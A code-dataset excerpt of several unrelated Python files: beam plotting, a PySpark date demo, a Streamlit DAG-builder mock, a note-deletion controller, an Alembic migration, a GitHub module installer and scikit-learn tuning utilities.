False\n","sub_path":"commands/javatar_install.py","file_name":"javatar_install.py","file_ext":"py","file_size_in_byte":4108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"30940307","text":"import sys, os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport PyPARIS.myfilemanager as mfm\n\ntag = 'HL_1.1e11_144b'\n# tag = 'HL_1.1e11_144b_fb'\n\n# tag = 'HL_2.3e11_144b'\n# tag = 'HL_2.3e11_144b_fb'\n# tag = 'HL_2.3e11_144b_fb_100t'\n\ntag = 'HL_2.3e11_144b_Qp15'\n# tag = 'HL_2.3e11_144b_Qp15_fb'\n\n# tag = 'HL_2.3e11_144b_Koct-4.5'\n# tag = 'HL_2.3e11_144b_Koct-4.5_fb'\n\n# tag = 'HL_2.3e11_144b_Qp15_Koct-4.5'\n# tag = 'HL_2.3e11_144b_Qp15_Koct-4.5_fb'\n\n# tag = 'HL_2.3e11_144b_sey1.5'\n# tag = 'HL_2.3e11_144b_sey1.5_xy'\n\nN_slots_bsp = 5\n\ni_bunch = 35\ni_turn_start = 150\nn_turns = 50\n\nob_slice = mfm.object_with_arrays_and_scalar_from_h5(tag + '_matrices_slices.h5')\nob_bunch = mfm.myloadmat_to_obj(tag+'_matrices.mat')\n\nx_slice = ob_slice.mean_x\ny_slice = ob_slice.mean_y\nz_slice = ob_slice.mean_z\nn_slice = ob_slice.n_macroparticles_per_slice\n\nx_bunch = ob_bunch.mean_x \ny_bunch = ob_bunch.mean_y\nn_bunch = ob_bunch.macroparticlenumber\n\nn_turns_tot = x_slice.shape[1]\n\ni_bunch_slot = (i_bunch -1) * N_slots_bsp\nmask_slice = n_slice[:, 1, i_bunch_slot] > 0\nmask_bunch = n_bunch[1, :] > 0\n\nfrom matplotlib import rc\nrc('font', **{'family': 'sans-serif', 'sans-serif': ['arial'], 'size': 13})\n\nplt.close('all')\n\ncolors = plt.cm.GnBu(np.linspace(0, 1, n_turns))\ncolors = plt.cm.PuBu(np.linspace(0, 1, n_turns))\ncolors = plt.cm.YlGnBu(np.linspace(0, 1, n_turns))\n\nfigm = plt.figure(10, figsize=(8,6*1.5))\naxm1 = figm.add_subplot(3,1,1)\naxm2 = figm.add_subplot(3,1,2)\naxm3 = figm.add_subplot(3,1,3)\n\nfor i_turn in xrange(n_turns):\n\n axm1.plot(x_bunch[i_turn_start + i_turn, :][mask_bunch], color=colors[i_turn], alpha=0.6)\n if i_turn == n_turns - 1:\n axm1.plot(x_bunch[i_turn_start + i_turn, :][mask_bunch], '.', color='darkblue')\n\n axm2.plot(x_bunch[:, i_bunch_slot], color='darkblue', linewidth=0.7, alpha=0.4)\n\n n_tot = np.sum(n_slice[:, i_turn_start + i_turn, i_bunch_slot])\n axm3.plot(z_slice[:, i_turn_start + i_turn, i_bunch_slot][mask_slice], \n (x_slice[:, i_turn_start + i_turn, i_bunch_slot][mask_slice]\n * n_slice[:, i_turn_start + i_turn, i_bunch_slot][mask_slice])\n / n_tot, color=colors[i_turn])\n \n\naxm1.axvline(i_bunch, linestyle=':', color='crimson', linewidth=2.5)\naxm2.axvspan(i_turn_start, i_turn_start + n_turns, alpha=0.5, color='crimson')\n\n# for ibef in xrange(10):\n# if i_turn-ibef-1>=0:\n# axm1.plot(x_mat[i_turn-ibef-1, :][mask_bunch], '--', color='k', alpha=0.5)\n# axm2.plot(y_mat[i_turn-ibef-1, :][mask_bunch], '--', color='k', alpha=0.5)\n\n# axm1.set_ylim(np.array([-1., 1.])*np.max(np.abs(x_mat)))\n# axm2.set_ylim(np.array([-1., 1.])*np.max(np.abs(y_mat)))\n\n# axm3.set_ylim(np.array([0, 1.1])*np.max(np.abs(n_mat)))\n\n\naxm1.grid('on')\naxm2.grid('on')\naxm3.grid('on')\n\naxm1.set_xlabel('Bunch')\naxm1.set_ylabel('x [m]')\naxm1.ticklabel_format(axis='y', style='sci', scilimits=(0,0))\n\naxm2.set_xlabel('Turn')\naxm2.set_ylabel('x [m]')\naxm2.ticklabel_format(axis='y', style='sci', scilimits=(0,0))\n\naxm3.set_xlabel('z [m]')\naxm3.set_ylabel('P.U. signal')\naxm3.ticklabel_format(axis='y', style='sci', scilimits=(0,0))\n\nfigm.subplots_adjust(hspace=0.3)\n# figm.suptitle('Turn %d'%i_turn)\n\n\n\n\nplt.show()\n","sub_path":"001s_plot_from_matrices.py","file_name":"001s_plot_from_matrices.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"18344651","text":"from pyparsing import col\nfrom pyspark.sql import *\nfrom pyspark.sql.functions import *\nfrom pyspark.sql.types import *\n\nfrom lib.logger import Log4J\nfrom lib.utils import get_spark_app_config\n\ndef to_date_df(df, format, field):\n return df.withColumn(field, to_date(col(field), format))\n\nif __name__ == \"__main__\":\n conf = get_spark_app_config()\n spark = SparkSession.builder \\\n .config(conf=conf) \\\n .appName(\"DF Rows\") \\\n .getOrCreate()\n\n logger = Log4J(spark)\n\n my_schema = StructType([\n StructField(\"ID\", StringType()),\n StructField(\"EventDate\", StringType())\n ])\n\n my_rows = [Row(\"123\", \"04/05/2020\"), Row(\"124\", \"04/5/2020\"), Row(\"125\", \"04/05/2020\"), Row(\"126\", \"04/05/2020\")]\n my_rdd = spark.sparkContext.parallelize(my_rows, 2)\n my_df = spark.createDataFrame(my_rdd, my_schema)\n\n my_df.printSchema()\n my_df.show()\n new_df = to_date_df(my_df, \"M/d/y\", \"EventDate\")\n new_df.printSchema()\n new_df.show()","sub_path":"DataframeRows.py","file_name":"DataframeRows.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"124612288","text":"import streamlit as st\r\nfrom unittest.mock import Mock\r\nimport json\r\nimport urllib\r\nimport pydantic_component_mock as mock_comps\r\n\r\napi_url = \"http://localhost:8080/api\"\r\napi_version = \"v1\"\r\napi_str = \"/\".join([api_url, api_version])\r\n\r\nl = mock_comps.Component.schema()['properties']['component_name']['anyOf']\r\nlist_c = [x['$ref'].split('/')[2] for x in l]\r\n\r\n\r\n\r\ndef mock_get_components(*args, **kwargs):\r\n class MockResponse:\r\n def __init__(self, json_data, status_code):\r\n self.json_data = json_data\r\n self.status_code = status_code\r\n\r\n def json(self):\r\n return self.json_data\r\n\r\n if args[0] == 'http://localhost:8080/api/v1/components':\r\n return MockResponse({\"components\": list_c, \"errors\": None}, 200)\r\n else:\r\n return MockResponse(None, 404)\r\n\r\n return MockResponse(None, 404)\r\n\r\n\r\ndef mock_get_component_definition(*args, **kwargs):\r\n class MockResponse:\r\n def __init__(self, json_data, status_code):\r\n self.json_data = json_data\r\n self.status_code = status_code\r\n\r\n def json(self):\r\n return self.json_data\r\n\r\n if 'http://localhost:8080/api/v1/component/' in args[0]:\r\n requested_component = args[0].rsplit('/', 1)[-1]\r\n if requested_component == 'Singer_Demultiplexer_Model':\r\n cd = mock_comps.Singer_Demultiplexer_Model.schema()\r\n return MockResponse({\"definition\": cd, \"errors\": None}, 200)\r\n elif requested_component == 'CSV_To_Snowflake_Model':\r\n cd = mock_comps.CSV_To_Snowflake_Model.schema()\r\n return MockResponse({\"definition\": cd, \"errors\": None}, 200)\r\n elif requested_component == 'Glob_Compress_Model':\r\n cd = mock_comps.Glob_Compress_Model.schema()\r\n return MockResponse({\"definition\": cd, \"errors\": None}, 200)\r\n else:\r\n return MockResponse({\"definition\": None, \"errors\": 'No component found'}, 200)\r\n else:\r\n return MockResponse(None, 404)\r\n\r\n\r\ndef mock_get_connections(*args, **kwargs):\r\n class MockResponse:\r\n def __init__(self, json_data, status_code):\r\n self.json_data = json_data\r\n self.status_code = status_code\r\n\r\n def json(self):\r\n return self.json_data\r\n\r\n connections = []\r\n connections.append({'name': 'transaction_sys', 'class': 'LocalStorageHook'})\r\n connections.append({'name': 'pricing_prod', 'class': 'LocalStorageHook'})\r\n connections.append({'name': 'data_lake', 'class': 'S3Hook'})\r\n connections.append({'name': 'external_client_share_2133', 'class': 'S3Hook'})\r\n connections.append({'name': 'snowflake', 'class': 'Snowflake'})\r\n connections.append({'name': 'snowflake_legacy_co', 'class': 'Snowflake'})\r\n o = urllib.parse.urlparse(args[0])\r\n if o.path == '/api/v1/connections':\r\n if o.query == '':\r\n return MockResponse({\"connections\": connections, \"errors\": None}, 200)\r\n else:\r\n hook_list_params = o.query.split('&')\r\n hook_list = [x.split('=')[1] for x in hook_list_params]\r\n connection_filtered = list(filter(lambda x: x['class'] in hook_list, connections))\r\n return MockResponse({\"connections\": connection_filtered, \"errors\": None}, 200)\r\n else:\r\n return MockResponse(None, 404)\r\n\r\nreturn_vals = {}\r\n\r\n\r\nst.sidebar.header('DAG configuration')\r\ncomponent_lst = mock_get_components(\"/\".join([api_str,'components'])).json()\r\ncomponent = st.sidebar.selectbox(\r\n label='Select Component',\r\n options=component_lst['components'],\r\n help='You can follow docs here to create a component and use this UI to build a DAG from it.'\r\n)\r\ndag_name = st.sidebar.text_input(\r\n label='DAG Name',\r\n value='your_dag_name_here',\r\n key='input_dag_name',\r\n help='Any lowercase name for your Typhoon DAG. Try to avoid clashes. Must be without spaces or special characters'\r\n)\r\nschedule_type = st.sidebar.radio(\r\n label='Schedule type',\r\n options=['Rate', 'Cron'],\r\n index=0,\r\n key='input_schedule_type',\r\n help='Typhoon dags can accept Cron or a Rate.'\r\n)\r\nschedule_value = st.sidebar.text_input(\r\n label=schedule_type,\r\n value='1 hour' if schedule_type == 'Rate' else '0 0 * ? * *',\r\n key='schedule_value',\r\n help='Any Rate or Cron.'\r\n)\r\n\r\nreturn_vals['base_component'] = component\r\nreturn_vals['dag_name'] = dag_name\r\nreturn_vals['schedule_type'] = schedule_type\r\nreturn_vals['schedule_value'] = schedule_value\r\nreturn_vals['component_arguments'] = {}\r\n\r\nst.header('Component config')\r\ncomponent_definition = mock_get_component_definition(\"/\".join([api_str,'component',component])).json()\r\nst.subheader('Args:')\r\nprops = component_definition['definition']['properties']\r\nfor arg in props.keys():\r\n if '$ref' in props[arg].keys():\r\n ref_path = props[arg]['$ref'].split('/')\r\n\r\n # Do params here for now hard code - use URLlib parser - not manual\r\n param = component_definition['definition'][ref_path[1]][ref_path[2]]\r\n hook_list_raw = param['properties']['hook_class']['anyOf']\r\n\r\n hook_list = [x['const'] for x in hook_list_raw]\r\n uri = \"/\".join([api_str, 'connections'])\r\n if len(hook_list) >0:\r\n uri = uri + '?' + urllib.parse.urlencode({'type': hook_list}, True)\r\n connections_list = mock_get_connections(uri).json()\r\n connection_keys = [d['name'] for d in connections_list['connections'] if 'name' in d]\r\n\r\n return_vals['component_arguments'][arg] = st.selectbox(\r\n label=arg,\r\n options=connection_keys,\r\n help='help here (docstring hint?)'\r\n )\r\n else:\r\n if 'type' in props[arg].keys():\r\n if props[arg]['type'] == 'string':\r\n return_vals['component_arguments'][arg] = st.text_input(\r\n label=arg,\r\n value='example here',\r\n key=arg,\r\n help='help here (docstring hint?)'\r\n )\r\n elif props[arg]['type'] == 'array':\r\n return_vals['component_arguments'][arg] = st.radio(\r\n label=arg,\r\n options=props[arg]['default'],\r\n index=0,\r\n key=arg,\r\n help='help here (docstring hint?)'\r\n )\r\n else :\r\n st.write('Type unspecified (Use string as default).')\r\n\r\n\r\nif st.button('Create DAG'):\r\n # send the request to create a DaG\r\n st.write('Success!')\r\n\r\n\r\nexpander = st.beta_expander(\"Component Raw Definition\")\r\nexpander.write(component_definition)\r\n\r\nreturn_val_expander = st.beta_expander(\"DAG return Values\")\r\nreturn_val_expander.write(return_vals)\r\n\r\n\r\n","sub_path":"typhoon/component_builder.py","file_name":"component_builder.py","file_ext":"py","file_size_in_byte":6733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"90979028","text":"from app.index import db\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom app.utils.model_utils.read_model import read_single\nfrom app.models.note.note_pid.note_pid_model import NotePIDModel\nfrom app.models.note.note_pid.linker_model import NotePIDLinkerModel\nfrom app.models.note.note_model import NoteModel\nfrom app.models.note.note_text.linker_model import NoteTextLinkerModel\nfrom app.models.note.note_text.note_text_model import NoteTextModel\n\ndef delete_note(pid):\n \"\"\"\n Return True after successful deletion\n @param pid String text public id of the note\n \"\"\"\n try:\n # Get the pid object\n pid_obj = read_single(NotePIDModel, (NotePIDModel.value==pid))\n if pid_obj is None:\n return None\n \n if pid_obj is False:\n raise ValueError(\"pid_obj is False: {}\".format(pid_obj))\n \n # Get the pid linker object\n pid_linker_obj = read_single(NotePIDLinkerModel, (NotePIDLinkerModel.note_pid_id==pid_obj.id))\n if pid_linker_obj is None:\n return None\n \n if pid_linker_obj is False:\n raise ValueError(\"pid_linker_obj is False: {}\".format(pid_linker_obj))\n \n # Get the note object using pid linker object\n note_obj = pid_linker_obj.get_note()\n if type(note_obj) is not NoteModel:\n raise TypeError(\"note_obj is not of type NoteModel: {}\".format(note_obj))\n \n # Get the text linker object\n text_linker_obj = note_obj.get_text_linker()\n if type(text_linker_obj) is not NoteTextLinkerModel:\n raise TypeError(\"text_linker_obj is not of type NoteTextLinkerModel: {}\".format(text_linker_obj))\n \n # Get the text object\n text_obj = note_obj.get_text()\n if type(text_obj) is not NoteTextModel:\n raise TypeError(\"text_obj is not of type NoteTextModel: {}\".format(text_obj))\n\n # Delete from linker objects first\n db.session.delete(pid_linker_obj)\n db.session.delete(text_linker_obj)\n db.session.flush()\n\n # Delete child objects\n db.session.delete(pid_obj)\n db.session.delete(text_obj)\n db.session.flush()\n\n # Delete root object\n db.session.delete(note_obj)\n\n db.session.commit()\n return True\n except (SQLAlchemyError, TypeError, ValueError):\n db.session.rollback()\n return False\n","sub_path":"app/controllers/notes_controllers/delete_controller.py","file_name":"delete_controller.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"5146534","text":"\"\"\"empty message\n\nRevision ID: 810840519f99\nRevises: 733435842c25\nCreate Date: 2019-02-20 13:45:59.926402\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '810840519f99'\ndown_revision = '733435842c25'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index('description', table_name='services')\n op.drop_index('location', table_name='services')\n op.drop_index('name', table_name='services')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_index('name', 'services', ['name'], unique=True)\n op.create_index('location', 'services', ['location'], unique=True)\n op.create_index('description', 'services', ['description'], unique=True)\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/810840519f99_fix_unique_constraints.py","file_name":"810840519f99_fix_unique_constraints.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"435582107","text":"from enum import Enum\nimport zipfile\nimport os\nimport shutil\nimport requests\nimport json\nimport yaml\nimport time\nfrom app.models.settings.crud import settings\n\n\nclass Module:\n name: str\n status: str\n description: str\n def __init__(self, name: str):\n os.makedirs(\"files\", exist_ok=True)\n os.makedirs(\"files/downloads\", exist_ok=True)\n self.name = name\n try:\n status = settings.value[\"mods\"][self.name][\"status\"]\n except Exception:\n status = None\n \n def update_status(self):\n try:\n settings.value[\"mods\"][self.name][\"status\"] = self.status\n settings.update()\n except Exception:\n print(\"可能模组不存在\")\n\n # 下载\n def download(self, store: str):\n zip_path = 'files/downloads/'+ self.name +'.zip'\n # 下载 TODO:url\n link = f\"https://github.com/{store}/{self.name}/archive/main.zip\"\n Tool.download_file(link, zip_path)\n # 解压\n Tool.unzip(zip_path,\"app/insmodes/\",self.name)\n # 使用\n self.use()\n \n # 卸载\n def uninstall(self):\n # 禁用\n self.unuse()\n # 删除各种文件\n os.remove('files/downloads/'+ self.name +'.zip')\n shutil.rmtree(\"app/insmodes/\" + self.name)\n\n # 使用\n def use(self):\n self.status = \"used\"\n # 搬运yml数据到settings\n settings_path = \"app/insmodes/\" + self.name + \"/settings.yml\"\n with open(settings_path, \"r\") as f:\n mod_settings = yaml.load(f, Loader=yaml.SafeLoader)\n settings.value[\"mods\"][self.name] = mod_settings[self.name]\n settings.value[\"mods\"][self.name][\"status\"] = \"used\"\n \n \n # 搬运sitemap到settings\n if \"site_maps\" in mod_settings:\n if \"single_sites\" in mod_settings[\"site_maps\"].keys():\n print(\"-------------\")\n settings.value[\"site_maps\"][\"single_sites\"][self.name] = mod_settings[\"site_maps\"][\"single_sites\"][self.name]\n if \"db_sites\" in mod_settings[\"site_maps\"].keys():\n settings.value[\"site_maps\"][\"db_sites\"][self.name] = mod_settings[\"site_maps\"][\"db_sites\"][self.name]\n # 搬运render到settings\n if \"render\" in mod_settings:\n settings.value[\"render\"][self.name] = mod_settings[\"render\"][self.name]\n\n # 更新下设置\n settings.update()\n\n # 加下log让服务重启\n with open(\"app/log.py\", \"a\") as f:\n f.write(f\"# {self.name} used\\n\")\n\n # 禁用\n def unuse(self):\n self.status = \"unused\"\n # 移除settings的设置\n if self.name in settings.value[\"mods\"]:\n del settings.value[\"mods\"][self.name]\n if self.name in settings.value[\"site_maps\"][\"single_sites\"]:\n del settings.value[\"site_maps\"][\"single_sites\"][self.name]\n if self.name in settings.value[\"site_maps\"][\"db_sites\"]:\n del settings.value[\"site_maps\"][\"db_sites\"][self.name]\n if self.name in settings.value[\"render\"]:\n del settings.value[\"render\"][self.name]\n\n settings.update()\n\n # 加log\n with open(\"app/log.py\", \"a\") as f:\n f.write(f\"# {self.name} unused\\n\")\n\n\ndef local_ls():\n mod_list = os.listdir(\"app/insmodes\")\n mod_list.remove(\"__init__.py\")\n mod_list.remove(\"__pycache__\")\n rt = []\n for i in mod_list:\n if i in settings.value[\"mods\"]:\n rt.append({\"name\": i, \"used\":True})\n else:\n rt.append({\"name\": i, \"used\":False})\n return rt\n\nclass Store:\n def __init__(self):\n self.last_time = time.time() - 120\n self.data = {}\n\n # 获取商品列表\n def store_ls(self,name: str):\n url = f\"https://api.github.com/orgs/{name}/repos\"\n # 注意,一小时只能调用60次githubapi\n if time.time() - self.last_time > 120:\n self.data[name] = Tool.get_json(url)\n self.last_time = time.time()\n if name in self.data:\n try:\n j = self.data[name]\n insmodes_list = os.listdir(\"app/insmodes\")\n rt = []\n for i in j:\n i = i[\"name\"]\n if i in insmodes_list:\n rt.append({\"name\": i, \"installed\":True})\n else:\n rt.append({\"name\": i, \"installed\":False})\n return rt\n except:\n pass\n return [{\"name\":\"nothing\", \"installed\":False}]\n\nstore = Store()\n\nclass Tool:\n # 解压zip,重命名\n @staticmethod\n def unzip(oldpath: str, newpath: str,newname: str):\n zipFile = zipfile.ZipFile(oldpath,'r')\n for file in zipFile.namelist():\n zipFile.extract(file,newpath)\n directory_name = zipFile.namelist()[0][:-1]\n zipFile.close()\n # 重命名\n os.rename(newpath + directory_name,newpath + newname)\n \n # 下载文件\n @staticmethod\n def download_file(url:str,path: str):\n print(url)\n res = requests.get(url,stream=True)\n with open(path, 'wb') as dl:\n for chunk in res.iter_content(chunk_size=1024):\n if chunk:\n dl.write(chunk)\n # 如果函数存在则给其百分比\n \n # get请求并转换为json\n @staticmethod\n def get_json(url:str):\n rt = requests.get(url).json()\n return rt\n ","sub_path":"app/models/module/mod.py","file_name":"mod.py","file_ext":"py","file_size_in_byte":5485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298482472","text":"\"\"\"Building methods for evaluation and saving of classifiers.\"\"\"\n\nfrom autoclf.encoding import labelenc as lc\n\nfrom time import time\nimport errno\nimport re\nfrom random import randint\nimport numpy as np\nfrom scipy.stats import normaltest\n# from statsmodels.stats.stattools import jarque_bera\nfrom sklearn.utils import class_weight as cw\nfrom sklearn.utils import multiclass as mc\n\nfrom . import param_grids_distros as pgd\n\nfrom tempfile import mkdtemp\nfrom shutil import rmtree\n\nimport matplotlib.pyplot as plt\n\nfrom .. import auto_utils as au\n\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import StratifiedShuffleSplit\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\n# from sklearn.model_selection import cross_val_predict\nfrom sklearn.model_selection import RandomizedSearchCV\ntry:\n from skopt import BayesSearchCV\nexcept ImportError as ie:\n print(ie)\n print(\"Install scikit-optimize package if you want to use BayesCV\")\nfrom sklearn.base import is_classifier\n\nfrom sklearn.externals.joblib.my_exceptions import JoblibValueError\n\nfrom sklearn.pipeline import Pipeline\n# from sklearn.pipeline import FeatureUnion\n\n# for feature selection\nfrom sklearn.ensemble import ExtraTreesClassifier\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn.ensemble import BaggingClassifier\nfrom sklearn.calibration import CalibratedClassifierCV\nfrom sklearn.calibration import calibration_curve\n\nfrom sklearn.metrics import accuracy_score\n# only for sklearn>=0.20:\n# from sklearn.metrics import balanced_accuracy\nfrom sklearn.metrics import log_loss\nfrom sklearn.metrics import brier_score_loss\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import average_precision_score\n\nimport os\nimport sys\nstderr = sys.stderr\nsys.stderr = open(os.devnull, 'w')\nfrom keras.wrappers.scikit_learn import KerasClassifier\nsys.stderr = stderr\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n# Methods\n\ndef calculate_sample_weight(dy):\n \"\"\"Calculate sample weights in absence of class weights.\"\"\"\n w = np.ones(dy.shape[0])\n w = cw.compute_sample_weight('balanced', dy)\n w = w/w.min()\n return w\n\n\ndef model_finalizer(\n estimator, data_X, data_Y, scoring, tuning, d_name=None, serial=0):\n \"\"\"Train best estimator with all data and save it.\"\"\"\n if (isinstance(scoring, list) or isinstance(scoring, dict)\n or isinstance(scoring, tuple)):\n raise TypeError(\n \"'model_finalizer' method takes only single-metric score values.\")\n if scoring not in (None, 'accuracy', 'roc_auc', 'neg_log_loss'):\n raise ValueError(\"\"\"\n %s is not a valid scoring value for method 'model_finalizer'.\n Valid options are ['accuracy', 'roc_auc', 'neg_log_loss']\"\"\"\n % scoring)\n\n name = ''\n for step in estimator.steps:\n m = re.search(\"Clf\", step[0])\n if m:\n name = step[0]\n print(\"Finalized model refitted on all data\")\n\n if hasattr(estimator, 'n_jobs'):\n if (hasattr(estimator, 'solver') and\n estimator.get_params()['solver'] == 'liblinear'):\n pass\n else:\n estimator.named_steps[name].set_params(n_jobs=-2)\n\n estimator.fit(data_X, data_Y)\n\n predicted = estimator.predict(data_X)\n if hasattr(estimator, \"predict_proba\"):\n predicted_probas = np.array(estimator.predict_proba(data_X))\n y_prob = []\n # consider label '0' --> 'dead'; label '1' --> 'survived'\n for probas in predicted_probas:\n y_prob.append(probas[1])\n print(\"predicted probabilities:\\n\", predicted_probas[0:3])\n else:\n # use decision function\n print(\"Model '%s' hasn't got 'predict_proba' as an attribute\" % name)\n y_prob = estimator.decision_function(data_X)\n y_prob = (y_prob - y_prob.min()) / (y_prob.max() - y_prob.min())\n\n w = calculate_sample_weight(data_Y)\n\n print(\"Final scores on all data -- only for comparison purpose.\")\n print(\"Accuracy %.2f%% computed with .score()\"\n % (estimator.score(data_X, data_Y, sample_weight=w)*100))\n print(\"Accuracy %.2f%% computed with metrics.accuracy_score()\"\n % (accuracy_score(data_Y, predicted, sample_weight=w)*100))\n if mc.type_of_target(data_Y) == 'binary':\n print(\"Scoring [%s] of model %s: %1.3f\"\n % (scoring, name, roc_auc_score(data_Y, y_prob)))\n print()\n\n finalized_estimator = estimator\n\n print(\"Finalized best '%s'.\" % name)\n for step in finalized_estimator.steps:\n print(type(step))\n print(\"step:\", step[0])\n params = step[1].get_params()\n for param_name in sorted(params.keys()):\n print(\"\\t%s: %r\" % (param_name, params[param_name]))\n\n if not serial:\n serial = \"%04d\" % randint(0, 1000)\n\n model_name = name\n\n if d_name is not None:\n name = d_name + \"_\" + name\n\n f_name = name + '_' + tuning + '_' + serial\n\n if model_name not in (\n 'baseline_nn_default_Clf_2nd', 'baseline_nn_smaller_Clf_2nd',\n 'larger_nn_Clf_2nd', 'deep_nn_Clf_2nd', 'larger_deep_nn_Clf_2nd', \n 'deeper_nn_Clf_2nd', 'KerasClf_2nd'):\n au.save_model(finalized_estimator, f_name + '.pkl')\n else:\n keras_f_name = au.create_keras_model_filename(f_name)\n estimator.named_steps[model_name].model.save(keras_f_name + '.h5')\n\n if(len(estimator.steps)) > 1:\n estimator.named_steps[model_name].model = None\n f_name = name + '_' + tuning + '_for_keras_model_' + serial\n\n au.save_model(estimator, f_name + '.pkl')\n\n del estimator\n\n print()\n\n return finalized_estimator\n\n\ndef rscv_tuner(\n estimator, dx, dy, n_splits, param_grid, n_iter, scoring, refit=False, \n cv_meth='rscv', random_state=0):\n \"\"\"Tune best estimator before finalization.\"\"\"\n if (isinstance(scoring, list) or isinstance(scoring, dict)\n or isinstance(scoring, tuple)):\n raise TypeError(\n \"'rscv_tuner' method takes only single-metric score values.\")\n if scoring not in (None, 'accuracy', 'roc_auc', 'neg_log_loss'):\n raise ValueError(\"\"\"\n %s is not a valid scoring value for method 'rscv_tuner'.\n Valid options are ['accuracy', 'roc_auc', 'neg_log_loss']\"\"\"\n % scoring)\n name = ''\n for step in estimator.steps:\n m = re.search(\"Clf\", step[0])\n if m:\n name = step[0]\n\n kfold = StratifiedKFold(\n n_splits=n_splits, shuffle=True, random_state=random_state)\n\n xscv_prefix=None\n\n if cv_meth == 'rscv':\n clf = RandomizedSearchCV(\n estimator, param_distributions=param_grid, cv=kfold, iid=False, \n n_iter=n_iter, n_jobs=-2, pre_dispatch=\"2*n_jobs\", scoring=scoring, \n refit=refit, random_state=random_state, error_score=np.nan)\n\n xscv_prefix='Randomized'\n\n elif cv_meth == 'bscv':\n # check 'params' is of type BayesSearchCV's search_spaces\n clf = BayesSearchCV(\n estimator, search_spaces=param_grid, iid=False, cv=kfold, n_iter=n_iter, \n scoring=scoring, random_state=random_state, error_score=np.nan)\n\n xscv_prefix='Bayes'\n\n else:\n raise ValueError(\"Error. Valid values are ['rscv', 'bscv']\")\n\n print(\"[task] === Hyperparameter tuning of %s with '%sSearchCV'\"\n % (name, xscv_prefix))\n\n try:\n clf.fit(dx, dy)\n except TypeError as te:\n print(te)\n if hasattr(dx, 'values') is True:\n dx = dx.values\n if hasattr(dy, 'values') is True:\n dy = dy.values\n clf.fit(dx, dy)\n except Exception as e:\n raise e\n\n return clf.best_params_ if not refit else clf.best_estimator_\n\n\n# works only for single-metric evaluation\ndef tune_and_evaluate(\n estimator, dx_train, dy_train, dx_test, dy_test, splits, param_grid,\n n_iter, scoring, models_data, refit, random_state, serial=0, \n d_name=None, save=False, cv_meth='rscv'):\n \"\"\"Tune and evaluate estimator with the options of refit and saving it.\"\"\"\n if (isinstance(scoring, list) or isinstance(scoring, dict)\n or isinstance(scoring, tuple)):\n raise TypeError(\"\"\"\n 'tune_and_evaluate' method allows only to perform single-metric\n evaluation of given estimator.\n \"\"\")\n if scoring not in (None, 'accuracy', 'roc_auc', 'neg_log_loss'):\n raise ValueError(\"\"\"\n %s is not a valid scoring value for method 'tune_and_evaluate'.\n Valid options are ['accuracy', 'roc_auc', 'neg_log_loss']\"\"\"\n % scoring)\n\n name = ''\n\n if isinstance(estimator, Pipeline) and hasattr(estimator, \"steps\"):\n for step in estimator.steps:\n m = re.search(\"Clf\", step[0])\n if m:\n if is_classifier(step[1]) or re.search(\"KerasClf\", step[0]):\n name = step[0]\n else:\n raise TypeError(\n \"%r is not a valid classifier;\\n\" \n \"a valid estimator is of type 'ClassifierMixin'\" \n % step[1])\n elif is_classifier(estimator):\n name = 'classifier'\n param_grid = {\n k.split('__')[1]: v for k, v in param_grid.items()}\n else:\n raise TypeError(\n \"%r is not a valid estimator for classification; valid estimators are\\n\"\n \"of type ['Pipeline', 'ClassifierMixin']\" % estimator)\n\n # kfold = KFold(n_splits=10, random_state=random_state)\n kfold = StratifiedKFold(\n n_splits=splits, shuffle=True, random_state=random_state)\n \n try:\n if cv_meth=='rscv':\n clf_name = 'RandomizedSearchCV'\n\n clf = RandomizedSearchCV(\n estimator, param_distributions=param_grid, cv=kfold, iid=False, \n n_iter=n_iter, n_jobs=-2, pre_dispatch='2*n_jobs', scoring=scoring, \n refit=refit, random_state=random_state)\n\n elif cv_meth=='bscv':\n clf_name = 'BayesSearchCV'\n\n clf = BayesSearchCV(\n estimator, search_spaces=param_grid, cv=kfold, iid=False, \n n_iter=n_iter, n_jobs=-2, pre_dispatch='2*n_jobs', scoring=scoring, \n refit=refit, random_state=random_state)\n else:\n raise ValueError(\"valid values are ['rscv', 'bscv']\")\n\n except TypeError as te:\n print(te)\n except ValueError as ve:\n print(ve)\n except NameError as ne:\n print(ne)\n except Exception as e:\n raise e\n\n print()\n print(\"[task] === Hyperparameter Tuning %s with '%s'\" % (name, clf_name))\n # automatize this based on search mode\n # if refit==True:\n tuning = 'rscv'\n\n try:\n t0 = time()\n # you do not need train-test splitting when doing cross validation\n clf.fit(dx_train, dy_train)\n t1 = time()\n except JoblibValueError as jve:\n t1 = time()\n print('%s -- JobLibValueError. Total execution time: %.2fs.'\n % (name, t1 - t0))\n print(jve)\n except ValueError as ve:\n t1 = time()\n print('%s -- ValueError. Total execution time: %.2fs.'\n % (name, t1 - t0))\n print(ve)\n print()\n 